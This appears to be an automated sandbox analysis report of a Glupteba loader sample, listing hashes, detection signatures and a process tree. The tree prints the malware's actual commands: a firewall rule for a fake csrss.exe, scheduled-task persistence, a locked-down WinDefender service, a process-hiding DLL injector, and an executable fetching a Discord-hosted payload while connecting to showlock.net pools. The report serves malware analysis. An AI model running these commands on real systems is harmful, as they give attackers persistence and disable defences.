Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
4s -
max time network
301s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
-
submitted
07/05/2024, 22:30
General
-
Target
1f93324b104e45370245c3de29f5c6d3286e8738e490244e9b7b156ecfb073f3.exe
-
Size
4.2MB
-
MD5
ce0464aede2fb24a6ea6f5ad8b10997e
-
SHA1
76230034883956a4436e5b285f6da427680eb206
-
SHA256
1f93324b104e45370245c3de29f5c6d3286e8738e490244e9b7b156ecfb073f3
-
SHA512
3ba143915339560771ad92091ba9d825f268f3ece18b7e6bf1f6fb18f544ebbd23d6cfb51acfda103b71c83f7c001eb9b0c02b76287b6034a2b64f798844c777
-
SSDEEP
98304:8dBFtQBAe6Mq3XPKS49jjLuCFfDOw5elpHBKlxxKC:8PQSrdt4jjLuCFrF5elpYlxx3
Malware Config
Signatures
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba payload 29 IoCs
-
Modifies Windows Firewall 2 TTPs 1 IoCs
-
UPX packed file 23 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Using powershell.exe command.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
GoLang User-Agent 3 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
Processes
-
C:\Users\Admin\AppData\Local\Temp\1f93324b104e45370245c3de29f5c6d3286e8738e490244e9b7b156ecfb073f3.exe"C:\Users\Admin\AppData\Local\Temp\1f93324b104e45370245c3de29f5c6d3286e8738e490244e9b7b156ecfb073f3.exe"1⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\1f93324b104e45370245c3de29f5c6d3286e8738e490244e9b7b156ecfb073f3.exe"C:\Users\Admin\AppData\Local\Temp\1f93324b104e45370245c3de29f5c6d3286e8738e490244e9b7b156ecfb073f3.exe"2⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exeC:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exeC:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe4⤵
-
-
-
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
2.0MB
MD51bf850b4d9587c1017a75a47680584c4
SHA175cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA256ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
SHA512ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
-
Filesize
2.8MB
MD5713674d5e968cbe2102394be0b2bae6f
SHA190ac9bd8e61b2815feb3599494883526665cb81e
SHA256f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
SHA512e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
-
Filesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
Filesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
Filesize
2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
Filesize
18KB
MD51220c80473d6c9255d5d60e1f69707d8
SHA1789ef66c908cd6c55af4f5f2d05e72ba984fa888
SHA256866ac05f057b8c09d9e1843718ebde86ca2161013c788021468928dee4788826
SHA512e0a541d3fab5e54b627b6329afc3117181774fcb1b7c3b8677261de634300edb52371d3b9427b49e19ccbb6cc3d97e08a7dc686165286e75c8e6fb1959d89066
-
Filesize
18KB
MD57e65d08f87a28db5dfd8c98aca67c181
SHA14b44285a62a223d8c0b60e2a5dda4145625c773b
SHA2561cbb3af3b46be75c98520508a1bfcf8e3c3f0a868c2a63bb315fa91839429879
SHA51298fec39dae1fcf1bbb559593413f20f8c75afd44956c6a2a43d9fdc202b583d19f130a57547bb4fe04473e2384845ad7ca180efddb3ec62b18b7cab910100c8e
-
Filesize
18KB
MD5d4e59d95a7fc3437c29d188303b0ff8b
SHA113fb279f90b179ff89b872d13546dc96d0c70034
SHA256f8698eb1c20d8c4e068eedd538381d057de6f93986ead74fdfd92f74e4bd14d4
SHA512dbda4973477551f767e8f9125c64cce1fb8d9cf88d0e7d2bd1c30e6453f70919f6e48afbdb5011863af6a330d3be0148ace9908125d44d8fcc41e24c3b493790
-
Filesize
18KB
MD5c2d385bf89dfa730b9f4d65056d7a5ae
SHA153afeed846fa1a9c74a7f06f73bcf8ed84413e2c
SHA25630a45138e3974cfa4d3d891c663cbb79670db3800ac6d6bd6f081e60569f6ddc
SHA51260c6c268379aa58590f01d1e2a99912a92c05f52e8d3c822a95c72c4c96497b766ee624bc39cffdfc3147525198e957cf9d18250c6df520399a7918e1f69b632
-
Filesize
18KB
MD5747b519a4e330b3a1164a8c2f55548ce
SHA105f0c8af4fe2f569d256e98a9b5e44d252a09996
SHA256b395e6146c24039cd997825015ad9a571188d7a43351785a704a012733125f1e
SHA512d6d23abbb25a89860c503b3c4e3d7e34bbcaa7138bea038ef9a4aa2f029cde9ad0fddfffe42b8e03b6476e57b6424da8be4a9d630be95f87a67462d3ac5fd246
-
Filesize
18KB
MD5957c77b93810592ce241fcb75ed23630
SHA19cfae813b21c995eab6ebb5235b1fa7ce9d56b63
SHA2561d36117e576cf2c97c0bea0c2c146cb001f0e960afa533aaa278bf92cb61f5e1
SHA512a0a0e8bcc22a359a295393344b7d066ebb871a5d78219be4f4522cc635715db2f53dfb14de443a5ced4a04ef1f179e49be1ba45147b130c898cd0ef7047f96ea
-
Filesize
18KB
MD533672f52d7817c7969b9eecfc6e15264
SHA1e939795a5b6d921a60b4516fecebcf78733909fc
SHA25647882e3ac1ea1a23d22fecaf0b702465e41f962b2496af112185b1703a484d76
SHA512447fd1a31cd625c2b87697bf13006a8e581c21e776283e58857fe6f95905bb7e7f8dfb0c0a7d6c31b7f55ff48b36504518cb754ec8401648e07fe051b957df57
-
Filesize
18KB
MD54af73ddcbf8300290d597776356a0886
SHA1320a55e307aca66e4f4f4fb67660df71f089602c
SHA25633bda23e8bc7806036de38a3d56836697a4b4742cb336764db21681e6a4e033d
SHA5129c87f6721f7d14046314a4c1b5352fff6df8cc2caa6dd224d96c34155ba0352b0f05f2022a071c4ea0b10e041c2f81a0776f660ab5566644554d4d75d0f1a47b
-
Filesize
4.2MB
MD5ce0464aede2fb24a6ea6f5ad8b10997e
SHA176230034883956a4436e5b285f6da427680eb206
SHA2561f93324b104e45370245c3de29f5c6d3286e8738e490244e9b7b156ecfb073f3
SHA5123ba143915339560771ad92091ba9d825f268f3ece18b7e6bf1f6fb18f544ebbd23d6cfb51acfda103b71c83f7c001eb9b0c02b76287b6034a2b64f798844c777
-
Filesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
660KB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
42.9MB
-
Filesize
3.3MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
4.0MB
-
Filesize
9.1MB
-
Filesize
8.9MB
-
Filesize
42.9MB
-
Filesize
9.1MB
-
Filesize
8.9MB
-
Filesize
408KB
-
Filesize
216KB
-
Filesize
432KB
-
Filesize
432KB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
6.2MB
-
Filesize
204KB
-
Filesize
408KB
-
Filesize
3.3MB
-
Filesize
112KB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
592KB
-
Filesize
3.3MB
-
Filesize
660KB
-
Filesize
120KB
-
Filesize
472KB
-
Filesize
136KB
-
Filesize
240KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
4.9MB
-
Filesize
42.9MB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
660KB
-
Filesize
3.3MB
-
Filesize
300KB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB
-
Filesize
8.8MB